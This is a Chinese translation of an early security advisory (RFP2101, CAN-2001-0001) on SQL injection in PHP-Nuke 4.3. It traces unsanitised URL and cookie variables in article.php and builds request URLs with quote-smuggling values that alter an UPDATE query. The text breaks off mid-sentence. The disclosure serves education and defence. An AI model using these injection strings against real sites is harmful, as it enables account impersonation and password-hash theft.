http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=2
-----/ RFP2101 /-------------------------------/ rfp.labs / wiretrip/----
RFPlutonium to fuel your PHP-Nuke
SQL hacking user logins in PHP-Nuke web portal
------------------------------------/ rain forest puppy / rfp@wiretrip.net
目录:
-/ 1 / 标准的建议信息
-/ 2 / 总览
-/ 3 / 细解
-/ 4 / 其他手段
-/ 5 / 解决方案
--------------------------------------------------------------------------
声明:没人强迫你读这个,不想看的话你可以不看
--------------------------------------------------------------------------
-/ 1 / 标准的建议信息 /------------------------------------
软件包: PHP-Nuke
厂商主页: www.phpnuke.org
测试过的版本: 4.3
平台: 独立于平台(PHP)
联系厂商时间: 12/29/2000
CVE 候选号: CAN-2001-0001
脆弱性类型: 访问验证弱点(普通用户和管理员)
RFPolicy v2: http://www.wiretrip.net/rfp/policy.html
以前存在问题: 绕过管理员认证, Aug 2000
BID: 1592 CVE:CVE-2000-0745 SAC: 00.35.032
当前版本:4.4 (可能还是有问题,未测试)
-/ 2 / 总览 /------------------------------------------
PHP-Nuke 是一个用PHP实现的网站和新闻中心系统。我对它的外表和提供的功能印象深刻,决定在以后的两个项目中用到它。就象我决定使用的其他代码一样,我会对那些代码做一个快速的审核(开放源码万岁)。我对代码整体上是满意的,它的确消除了一些有关SQL的安全问题。
我觉得把这个脆弱性的如何工作的整个过程揭示出来,从教育的眼光来看,比只写什么“PHP-Nuke是可脆弱的”有意义的多。如果你想了解更多关于SQL hacking,应该看看RFP2K01,在:
http://www.wiretrip.net/rfp/p/doc.asp?id=42
这并不是个非常有用的入侵,它只是允许你冒充其他用户得到他们加密后的口令。它也给攻击者暴力破解用户或管理员的口令提供了可能性。
-/ 3 / 细解 /--------------------------------------
首先,为了更好地辅助SQL hacking,打开SQL查询的记录选项是有帮助的。对MySQL来说只要在(safe_mysqld)启动的时候加上''-l logfile''参数就行了。
其次,让我们看一下代码。因为是用PHP写的而且用MySQL,我们的目标函数当然是mysql_query()了。让我们把所有的mysql_query()都grep出来:
[rfp@cide nuke]# ls
admin/ config.php index.php print.php topics.php
admin.php counter.php language scroller.js ultramode.txt
article.php dhtmllib.js links.php search.php upgrades
auth.inc.php faq.php mainfile.php sections.php user.php
backend.php footer.php manual/ stats.php voteinclude.php
banners.php friend.php memberslist.php submit.php
cache/ header.php pollBooth.php themes/
comments.php images/ pollcomments.php top.php
[rfp@cide nuke]# grep mysql_query *
admin.php: $result = mysql_query("SELECT qid FROM queue");
.... 超过254条SQL queries就不贴在这了 ....
让我们来看看那些带有变量的语句,因为里面可能带有用户的输入。例如一些select语句:
article.php: mysql_query("update users set umode=''$mode'',
uorder=''$order'', thold=''$thold'' where uid=''$cookie[0]''");
banners.php: mysql_query("delete from banner where bid=$bid");
comments.php: $something = mysql_query("$q");
user.php: $result = mysql_query("select email, pass from users where
(uname=''$uname'')");
index.php: mysql_query("insert into referer values (NULL, ''$referer'')");
来自 article.php 的查询带有四个变量: $mode, $order, $thold,和 $cookie[0]。 comments.php 很有趣,看起来整个查询放在$q变量中,这意味着我们必须到文件中去看那个变量的值是什么,在文件中,我们可以看到:
$q = "select tid, pid, sid, date, name, email, url, host_name,
subject, comment, score, reason from comments where sid=$sid
and pid=$pid";
if($thold != "") {
$q .= " and score>=$thold";
} else {
$q .= " and score>=0";
}
if ($order==1) $q .= " order by date desc";
if ($order==2) $q .= " order by score desc";
所以我们可以看到$q里用到了变量$sid和$pid,可能还有$thold,如果它被定义了的话。
现在我们该怎么办?让我们来看看那些变量里到底有些什么。我们从article.php中的那个查询开始。去掉注释后,实际的代码是这样的:
if(!isset($mainfile)) { include("mainfile.php"); }
if(!isset($sid) && !isset($tid)) { exit(); }
if($save) {
cookiedecode($user);
mysql_query("update users set umode=''$mode'', uorder=''$order'',
thold=''$thold'' where uid=''$cookie[0]''");
getusrinfo($user);
$info = base64_encode("$userinfo[uid]:$userinfo[uname]:".
"$userinfo[pass]:$userinfo[storynum]:$userinfo[umode]:".
"$userinfo[uorder]:$userinfo[thold]:$userinfo[noscore]");
setcookie("user","$info",time()+$cookieusrtime);
}
(注意:为了在这个安全公告中显示,代码格式做了些调整)
我们看到对变量$mode, $order, $thold, 和$cookie[0]并没有明显的处理。然而,mainfile.php被包含进来而且在函数cookiedecode()中可能会有些处理,所以我们也应该看看它们。
我们先得看看mainfile.php里是不是已经定义了变量 $mode, $order,$thold, or $cookie:
[rfp@cide nuke]# grep \$mode mainfile.php
[rfp@cide nuke]# grep \$order mainfile.php
[rfp@cide nuke]# grep \$thold mainfile.php
[rfp@cide nuke]#
嗯, 可以看出mainfile.php 没有对那些变量做任何处理。然而有一个多余的变量$cookie被返回了(在这看不到)。这是因为在mainfile.php中有函数cookiedecode() (和其他相似的函数)。cookiedecode() 的代码是这样的:
function cookiedecode($user) {
global $cookie;
$user = base64_decode($user);
$cookie = explode(":", $user);
return $cookie;
}
cookiedecode()调用取到变量$user的值,用base64方式解码,以’:’为定界符分成几个部分,放入$cookie[]数组。这是有意义的,因为上面的SQL查询用到了$cookie[0],数组的第一个元素。
怪?那个$user 变量是从哪来的呢? grep 一下mainfile.php 可以知道$user 变量只在这个函数中被用到。
好啊。这意味着作者对变量$user(他被解码并拆分成$cookie[0]数组), $mode, $order, $thold什么都没干。对那些不熟悉PHP的人说一声,PHP会为从URL得到的参数各自己分配一个全局变量。例如,下面的查询:
/somefile.php?varb1=rain&value2=forest¶m3=puppy
会在脚本中定义出三个全局变量$varb1, $value2, 和$param3,它们的值分别为''rain'', ''forest'', and ''puppy''。这意味着如果我们以如下的URL向article.php提交,我们可以为变量$mode, $order,和$thold赋上任意的值:
/article.php?mode=rain&order=forest&thold=puppy
在我们做这些之前,别忘了以下的程序片断:
if($save) {
...
这意味着变量$save必须被设置。grep一下mainfile.php看不到变量$save,所以我们应该在URL中设置它的值:
/article.php?mode=rain&order=forest&thold=puppy&save=1
让我们试试吧。对这个页面发出请求,没有东西返回,因为我忘掉了下面的这行:
if(!isset($sid) && !isset($tid)) { exit(); }
我们需要把$sid 和$tid变量加到URL行,现在是这样了:
/article.php?mode=rain&order=forest&thold=puppy&save=1&sid=0&tid=0
这次返回了一个错误页面。看看我们的mysql日志记录,有一个条目:
1 Query update users set umode=''rain'', uorder=''forest'',
thold=''puppy'' where uid=''''
这证明确实起作用了。现在我们把数据提交给SQL查询,看看我们是不是能“干预”那个查询。我们试图重写那个查询以加入其他的SQL代码。这样做需要一些欺骗的技巧:加入一些额外的单引号。我们所做的是把$thold改成这样的:
puppy'', thold=''puppy
这样的结果是查询语句会变成这样:
update users set umode=''rain'', uorder=''forest'',
thold=''puppy'', thold=''puppy'' where uid=''''
^^^^^^^^^^^^^^^^^^^^
我们提交的数据
当然,这不是个有用的SQL语句,但我们只是想证明一下我们的利用方法。让我们来把这些放到URL里提交上去:
/article.php?mode=rain&order=forest&thold=puppy'',%20thold=''puppy& save=1&sid=0&tid=0
(注意:URL 是不
文章转载地址:http://www.cnpaf.net/Class/hack/06101110491596582596.html